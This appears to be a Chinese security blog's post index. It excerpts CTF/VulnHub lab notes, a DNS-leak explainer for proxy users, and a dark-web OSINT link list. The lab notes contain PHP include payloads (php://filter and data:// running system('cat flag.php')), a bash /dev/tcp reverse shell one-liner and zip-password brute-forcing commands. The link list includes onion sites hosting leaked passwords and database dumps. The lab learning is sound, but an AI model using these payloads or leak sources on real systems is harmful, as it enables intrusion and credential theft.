[靶场笔记]第六章

include的直接用法 碰到include()第一反应,应该就是想到php伪协议中的filter,直接上payload php://filter/convert.base64-encode/resource=flag.php 更多有关filter参数的用法,可以往下看 data协议 如果出现类似php、flag等关键字过滤的函数,没法用特殊构造方法绕过的时候,考虑使用data协议配合base64加密的方法,同样下面直接放上payload data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= #上面base64解码:<?php system('cat flag.php'); 大写绕过 一种很骚的方法,str_replace不是在找php吗?那关我PHP什么事? include_path 说实话对于安全防御来说这更像是个可有可无的属性,看看官方是怎么解释的 为了方便理解,假设代码长下面这样 if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file);}else{ highlight_file(__FILE__); 不管include_path在php.ini中如何定义,只要访问的路径是类似../???这样的相对路径或者绝对路径,该属性起不到任何限制作用 日志写入 日志虽然不能用来执行,但如果跟上述include结合,在日志中写入的代码便能在宿主php文件中执行 具体web服务器的默认日志目录可以参考[靶场日记]第一章 php://filter 讲究很多,不过内容基本上都概括在下面两篇博客里 谈一谈php://filter的妙用 file_put_content和死亡·杂糅代码之缘 要注意的是,该伪协议中如果使用的是的write选项,那么后面resource的参数是可以跟一个你自己取文件名,并且会在利用目录下新建该文件并写入内容 base64的等号 等号、加号,这些base64编码结果末尾常见的符号被叫做“占位符”。字面意思,其实就是为了填充编码后的字符串,使得其满足base64的长度规范。在字符串末尾删掉这些符号也不会影响解码结果(这里强调末尾,因为其他位置的占位符删除有可能导致预料意外的结果) convert、string、zlib、mcrypt 上面这几个东西都是伪协议中的过滤器,也只有这四个 不一样的过滤器有不一样的功能,详情可以看这里 过滤器的配合能让你很轻松地绕过大部分防御,详情还是参考file_put_content和死亡·杂糅代码之缘

July 24, 2023 · 1 min · Red

[VulnHub]第二章

本章靶场:Corrosion系列 kali上的目录扫描字典 经过几次vulnhub打靶后发现kali上的目录扫描器可谓是五花八门,一些靶场甚至会出现没有使用指定扫描器就没有正确结果的情况 以下是整理的一些常用字典目录,当然可能有疏漏的地方,但也足以应付大部分场景 #除了默认扫描外,绝对目录均为/usr dirsearch默认扫描 nikto默认扫描 ../share/dirb ../share/dirbuster ../wordlist Bash -i 这个参数的作用是创建一个新的bash交互 但真正实用的是下面这句反弹shell bash -i >& /dev/tcp/IP地址/端口 0>&1 具体分析可以看这里 fcrackzip 这是一个压缩包密码爆破工具。可以使用自定义字符组合 fcrackzip -b -c 'aA1' -l 1-10 -u 123lybbn.zip -b 表示使用暴利破解的方式 -c ‘aA1’ 表示使用大小写字母和数字混合破解的方式 -l 1-10 表示需要破解的密码长度为1到10位 -u 表示只显示破解出来的密码,其他错误的密码不显示出 fcrackzip -D -p lybbnpass.txt -u 123lybbn.zip -D 表示要使用字典破解 -p 表示要使用那个字典破解 nano 我自己本人经常死脑筋只会用vim或者vi来修改文件,但其实很多靶机都会有这个坑,就是没有vi系列,只能用nano UID、GID、EUID、EGID、SUID、SGID 内容比较多,简单说一下 UID是当前实际用户,GID是当前用户组,EUID是文件有效用户,EGID是文件有效用户组 而SUID和SGID更像是设置“全局变量”(其实我也还不太理解,因为暂时没怎么用到),感兴趣的可以看这里 硬链接和软链接 简单来说,在linux文件结构中,硬链接更像是一个“实时同步”,并且即便源文件被删除了也并不影响同步文件的读取。而软链接可以理解成windows系统下的快捷方式。更多细节可以看这里

July 23, 2023 · 1 min · Red

[技术杂谈]一篇聊完DNS投毒、泄露

提示:本篇文章可能篇幅较长,知识点较多,需要花40min甚至更长时间才能读完,可以通过左侧导航栏快速跳转。我将尽量用大家都听得懂的方式跟大家解读有关DNS在科学上网中的一些问题。知识本就没有绝对正确,如有错误,欢迎纠正。出现的人名、ip地址等敏感信息已打码。 前情概要 写这篇文章是前两天注册steam账号时出现了一行“请勿使用VPN或代理工具”的提示,看到后便心头一颤,当时我所掌握的知识告诉我,这不和前阶段Xray项目的issue中有iphone用户爆出收到疑似公安局警报一样吗?难道steam的探测机制其实和这是一个道理? 然而询问群友后发现,事情好像并不简单 邈邈随即建议我去试试whoer.net,经过我在不同代理模式下的测试,发现结果和上面我提出的情况如出一辙。但泄露地理位置的问题,或者说被探测出使用VPN的问题究竟出在哪?要怎么解决?这和DNS又有什么关系?以及后来群友提出的开全局、禁webRTC、使用Doh等方式能否真正意义上完全杜绝DNS投毒和泄露的情况? 研究了几天,写篇文章记录一下有关这些问题的答案和解决方法,还是有很多东西可以学习的。 我将分三个部分,从DNS投毒和泄露的原理、_Clash_内核的工具的DNS处理方式、以及常见Clash配置存在的问题,并逐一回答上面提出的这些问题(_V2rayN_的使用会另外开一篇专门介绍,本篇主要讲解DNS泄露原理及基本应对思路) 一、DNS投毒和泄露 DNS工作原理 在介绍标题内容前,先从最基础的东西开始讲起。先来看看DNS的工作原理是什么。大佬可以跳过这部分。 假如你从运营商拉了一条宽带,运营商会分配给你一个光猫,光猫下面接着你自己的路由器,路由器通过pppoe拨号,获取运营商分配的公网ip和DNS服务器,假设公网ip是2.2.2.2,DNS服务器一般会分配两个,假设其中一个的IP为3.3.3.3。同时 路由器作为局域网的网关会有自己的内网IP地址。假设为192.168.0.1,家里的所有网络设备都会连接到这台路由器。路由器通过dhcp为每一台网络设备分配一个内网IP。以及默认网关DNS等信息。 一般情况下 默认网关和DNS服务器都是路由器。 这是最常见的家庭网络拓扑。 当我们在浏览器中访问百度的时候,由于baidu.com只是为了方便人类记忆的字符串。我们都知道,要定位某一台服务器必须通过IP地址,浏览器并不能通过这串字符找到百度服务器的位置,所以需要有一个地方能查到baidu.com这串字符对应的IP地址,这个地方就是DNS服务器。首先,浏览器会检查浏览器DNS缓存里是否有百度的IP,发现缓存列表中并没有。其次,除去浏览器的DNS缓存,操作系统本身也有DNS的缓存列表。windows可以通过ipconfig /displaydns查询。其中包含我们在系统hosts文件中手动添加的绑定记录。如果在操作系统DNS缓存中也没有找到,浏览器会构建一条DNS查询的应用程数据包,内容是百度的IP地址是多少,DNS服务的默认端口是53。默认传输方式是udp。接着封装MAC地址 并从网口发出数据 数据包来到路由器,路由器一看目标IP是自己,于是会一层层的解封装 得到电脑的DNS请求,路由器同样首先检查自己的DNS缓存列表中是否有百度的IP地址,如果没有,于是会构建一条DNS查询的应用程数据包,内容同样是baidu.com的IP地址是多少,目标IP为路由器配置的上游DNS服务器,将其发送到公网 数据包会来到运营商给我们分配的DNS服务器 3.3.3.3,收到数据后得知了路由器想要百度的IP,同样先检查自己的缓存列表。没有的话再询问其他上游DNS服务器。运营商的DNS一般会配置多个上有DNS服务器,具体发给哪一台会根据自己的负载均衡策略选择。假设发给了IP为6.6.6.6的服务器,并且假设这台服务器没有配置DNS转发,所以不会将请求转发给其他DNS服务器。 之后这台上游服务器会负责帮我们查询百度的IP。查询方法不是我们关注的重点,感兴趣的朋友可以自行了解DNS的迭代查询。我们只需要知道,最终这台DNS服务器会找到解析baidu.com的权威DNS服务器,并把下面这条数据包交给他。假设权威DNS服务器地址是9.9.9.9 百度的权威服务器收到请求后,他就会有baidu.com这个域名绑定的IP,于是将IP和TTL返回给6.6.6.6这台DNS服务器。TTL全称time-to-live,在DNS中表示缓存时间。假设为十分钟,6.6.6.6收到数据后会缓存下来。并将结果告诉3.3.3.3,3.3.3.3同样也会将结果缓存,并发回给我们的路由器。路由器也是同样的操作。缓存下来并将结果发回给我们的电脑。但这里需要注意,由于家用电脑的性能有限,可能为了节省内存,会将TTL值设置的相对较小。比如30秒。TTL值没必要按照权威DNS服务器的值。当浏览器获取到IP之后,才正式的开始发起访问百度的请求。后面的步骤就是正常访问ip地址了。之后如果你再访问百度,还是先检查缓存列表,如果记录还在缓存列表中,说明TTL还没有到期。会直接从缓存中获取百度的IP。并不会发起DNS请求。如果TTL值到期了,则会将记录从缓存中移除,就又得重新发起DNS请求获取百度的IP。 什么是DNS投毒和泄露?为什么存在这些问题? 为什么需要DNS以及DNS的执行流程相信大家都清楚了,接下来就是我们今天的主题。什么是DNS投毒和泄露? 先来看一下两者定义(上图为DNS泄露,下图为DNS投毒) 简单来说,DNS泄露是指代理访问的网站没有通过节点进行DNS请求,导致电脑向公网发起明文DNS请求,导致访问目的泄露。而DNS投毒是指由于DNS泄露的问题,导致被发回的DNS查询结果中夹杂了目的之外的结果。 所以一切问题的关键就在于怎么解决DNS泄露问题。那么为什么会存在DNS泄露? 在这之前,你可以先在你觉得安全的代理模式下访问一下这个网站,看一下返回的DNS查询过程中是否有中国大陆的DNS服务器。如果有,那么在我对DNS泄露定义的理解下,你的节点已经存在DNS泄露问题。如下图。 这里请注意,DNS泄露的说法只有在我们使用代理之后才存在。假设我们没有使用代理的情况下查询DNS泄露,列表中返回了国内的DNS服务器,这只能说明这些DNS服务器负责帮我们进行了DNS查询,并不代表DNS泄露了。 如果此时我将电脑的本地DNS服务器改成1.1.1.1,意思是让1.1.1.1负责DNS解析,列表中返回了美国的DNS服务器,这也不能说明DNS没有泄露。只有当我们通过代理访问目标网站时,电脑给互联网发送了请求目标网站IP地址的明文DNS请求,这种情况才是DNS泄露。 要讲清楚这个问题就必须先来了解这个网站是如何进行DNS检测的 在网站下按F12调出浏览器的开发者面板,来到网络面板 可以看到网站在不停的发送请求,并且每个请求访问的域名都不一样,目的是为了确保我们的DNS缓存,以及所有上游DNS缓存中都没有这条记录。根据刚才的讲解,当浏览器中没有找到缓存,会构建查询域名IP的DNS请求。由于域名完全随机,路由器也不可能会有缓存,请求将被转发到运营商的DNS,由于运营商配置了多个上游DNS服务器,可能会交给不同的上游,我们假设交给了6.6.6.6,这台DNS负责去寻找这个域名的IP,最终会找到这个域名的权威DNS服务器。 此时的数据包长这样 由于设置了泛解析,查询任何子域名都能获取到IP,ipleak的权威服务器在返回结果给你的时候偷偷做了一个动作,记录下了发送给他请求的DNS服务器的IP地址,并且告诉了你。由于每个访问者使用网站进行查询时域名是完全随机的,也就是说每个人发起DNS查询的域名都不一样,所以网站根据这条查询记录就能知道是你在使用这个DNS服务器。再根据IP归属地得知这个DNS服务器的地理位置。由于网站在不停的发送新的域名进行探测,运营商的DNS可能会使用不同的上游DNS,所以可以探测到多个不同的DNS服务器IP地址。 另外,虽然1.1.1.1是任播DNS,但我们国内使用的话会被反向优化到美国,用美国的DNS服务器,那么它的上游DNS也肯定是美国的IP。所以当我将本地的DNS改成1.1.1.1之后,DNS泄露查询到的都是美国的DNS服务器。所以DNS泄露的并不是你的电脑IP,而是你上上上……上上上游的DNS服务器ip。 DNS泄露在代理中的问题 大家可能松了一口气,觉得并没有什么大不了。那么再来看一下使用代理之后是一个什么情况。 以普通的全局系统代理为例,首先,浏览器要访问谷歌。 由于配置了系统代理,浏览器不再进行DNS查询。而是直接将访问网站的请求,交给我们的代理客户端。 代理客户端拿到请求之后,此时会有两种情况。一种是不发起DNS请求就能判断他是走直连还是走代理,这种情况基本不存在DNS泄露。 另一种情况是发起DNS请求,获取到IP之后,再来根据IP判断是走直连还是走代理。这种情况大概率存在DNS泄露。即使你配的DNS是1.1.1.1或者8.8.8.8,这种国外的DNS提供商,只要发起来DNS请求,那就泄露了。还会因为上面我们所分析的情况迷惑你,因为查不到国内DNS,还以为没有泄露。假设clash使用了IP规则进行分流,就需要先得到谷歌的IP地址,于是会发起DNS请求,内容是谷歌的IP地址是多少。 当这条请求发给互联网的DNS服务器之后,问题就发生了。DNS请求是完全明文的,除非你使用DoT或者DoH进行加密。或者有些客户端默认会将DNS请求通过节点加密进行远程DNS。但这两种情况都会增加延迟,不算是好的方案。而且大部分用户都不会进行加密和远程DNS。也就是说,运营商或者中间任何一台路由器都可以看到你的意图是访问谷歌。后面的情况也就不用我细说了。当你要完谷歌的IP之后,马上给其他服务器发送一堆加密数据,鬼都知道你在干啥。 甚至可能根据这个行为来封禁节点服务器,再比如奈飞这种对地区要求高的网站,如果代理软件偷偷的发送了一个DNS,并且存在DNS泄露,负责跟奈飞的权威DNS服务器对话的这台DNS服务器的IP归属地就会和当前访问奈飞网站的代理IP不是同一个地区,那就判定你在使用VPN工具从而禁止观看。到这里,其实我们就已经能够解释文章开头提到的Steam VPN检测问题。并且是一个非常强的代理特征,就是DNS泄露以及DNS泄露所导致的问题。 二、Clash的DNS处理方式 问题已经提出来了,那要怎么解决呢? 那当然是把提出问题的人解决掉就好了 要想解决这个问题,就需要先来看一下目前主流代理软件是如何处理DNS请求的。 1.原理 考虑到很多人可能和我一样不喜欢看官方文档,所以这里我主要给你介绍一些最主要的基本功能,也是我们下面用得到的 ...

July 14, 2023 · 1 min · Red

[技术杂谈]DarkWeb情报资源

过去 6-8 个月内有大量暗网市场和供应商被取缔或下线,整理了Matt和相关大神的Darkweb OSINT最新资源列表。(未收集售卖类站点) Onion索引类: Fresh Onions http://freshonifyfe4rmuh6qwpsexfhdrww7wnt5qmkoertwxmcuvm4woo4ad.onion/ H-Indexer http://amz4atjtuuis4dsnxlc3ek6fjoiadj3z7yzcjhylgtfmtrrh7i2hu6id.onion/ OnionLand Search http://kewgkvbzmjprghk2gv6otkxuyvn2gdnv4256uiumuykjio7nyo5k6rid.onion/ Nexus http://nexusxg6rr5e2ue6gdjo6oassw36lsx5cx6y3r5ojneo53kynv3rqgyd.onion/ Dark Eye http://darkeyepxw7cuu2cppnjlgqaav6j42gyt43clcn4vjjf7llfyly5cxid.onion/ VCS Onion Links http://hgzqgqunlejgxruvcthlpk3pywgkci3kkubhnvlv2rgveusz3n6qarad.onion/ 数据泄露: Distributed Denial of Secrets – 专门收集各种泄密事件的发布和存档 http://ddosxlvzzow7scc7egy75gpke54hgbg2frahxzaw6qq5osnzm7wistid.onion/wiki/Distributed_Denial_of_Secrets Leaked Instagram passwords http://breachdbsztfykg2fdaq2gnqnxfsbj5d35byz3yzj73hazydk4vq72qd.onion/ Trashchan public DB dump – 各类公开数据库的转储 http://trashbakket2sfmaqwmvv57dfnmacugvuhwxtxaehcma6ladugfe2cyd.onion/ Anon Leaks – 新闻和泄露混合的站点 http://oezronzbtheydpio2x64wzf2np6go2abdrtgprmgxh6xi6mjnha6lxad.onion/ 新闻: The Tor Times – darkweb新闻汇总. http://tortimeswqlzti2aqbjoieisne4ubyuoeiiugel2layyudcfrwln76qd.onion/ Electronic Frontier Foundation – 隐私类新闻 https://www.iykpqm7jiradoeezzkhj7c4b33g4hbgfwelht2evxxeicbpjy44c7ead.onion/ 其它类: Archive.is – URL存档站点的暗网版本. http://archiveiya74codqgiixo33q62qlrqtkgmcitqx5u2oeqnmn5bpcbiyd.onion/ Online-Test – 用于检查 .onion 站点当前是否在线/离线 http://donionsixbjtiohce24abfgsffo2l4tk26qx464zylumgejukfq2vead.onion/test.php ...

July 6, 2023 · 1 min · Red

[VulnHub]第一章

本期靶场:EMPIRE系列 getcap和setcap 内容比较复杂,看这里 大概就是可以了解一些文件的操作权限是什么,比如一个有root读取权限的可执行文件就能利用 netdiscover 一句命令即可查完内网存活主机,比nmap快n倍 dirb 目录扫描,dirsearch可以平替,但两者字典库不一定一样 enum4linux 用来枚举已开启SMB服务的linux主机用户 wfuzz 模糊路径搜索器,和dirsearch最大区别就在于能够指定一些参数和模糊路径,例如枚举/~myfiles这样的东西。具体用法看这里 ffuf 也是一个模糊搜索工具,不一样的地方在于这个工具是可以自己选择后缀名的 什么意思呢,比如用wfuzz扫http://192.168.2.17/~secret/.FUZZ这个链接,结果只能是某个目录,而如果使用ffuf,则可以扫描到名叫FUZZ的某个文件html,txt,php等各种可自定义后缀的文件 Base家族 凡是带有=填充符,base64要是不行就试试58或者其他的 ssh2john 这是一个ssh私钥处理脚本,在使用john进行ssh私钥爆破时需要先用这个脚本处理 sudo -V 显示版本编号 -h 会显示版本编号及指令的使用方式说明 -l 显示出自己(执行 sudo 的使用者)的权限 -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码 -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟) -b 将要执行的指令放在背景执行 -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称 -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码) -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell ...

July 5, 2023 · 1 min · Red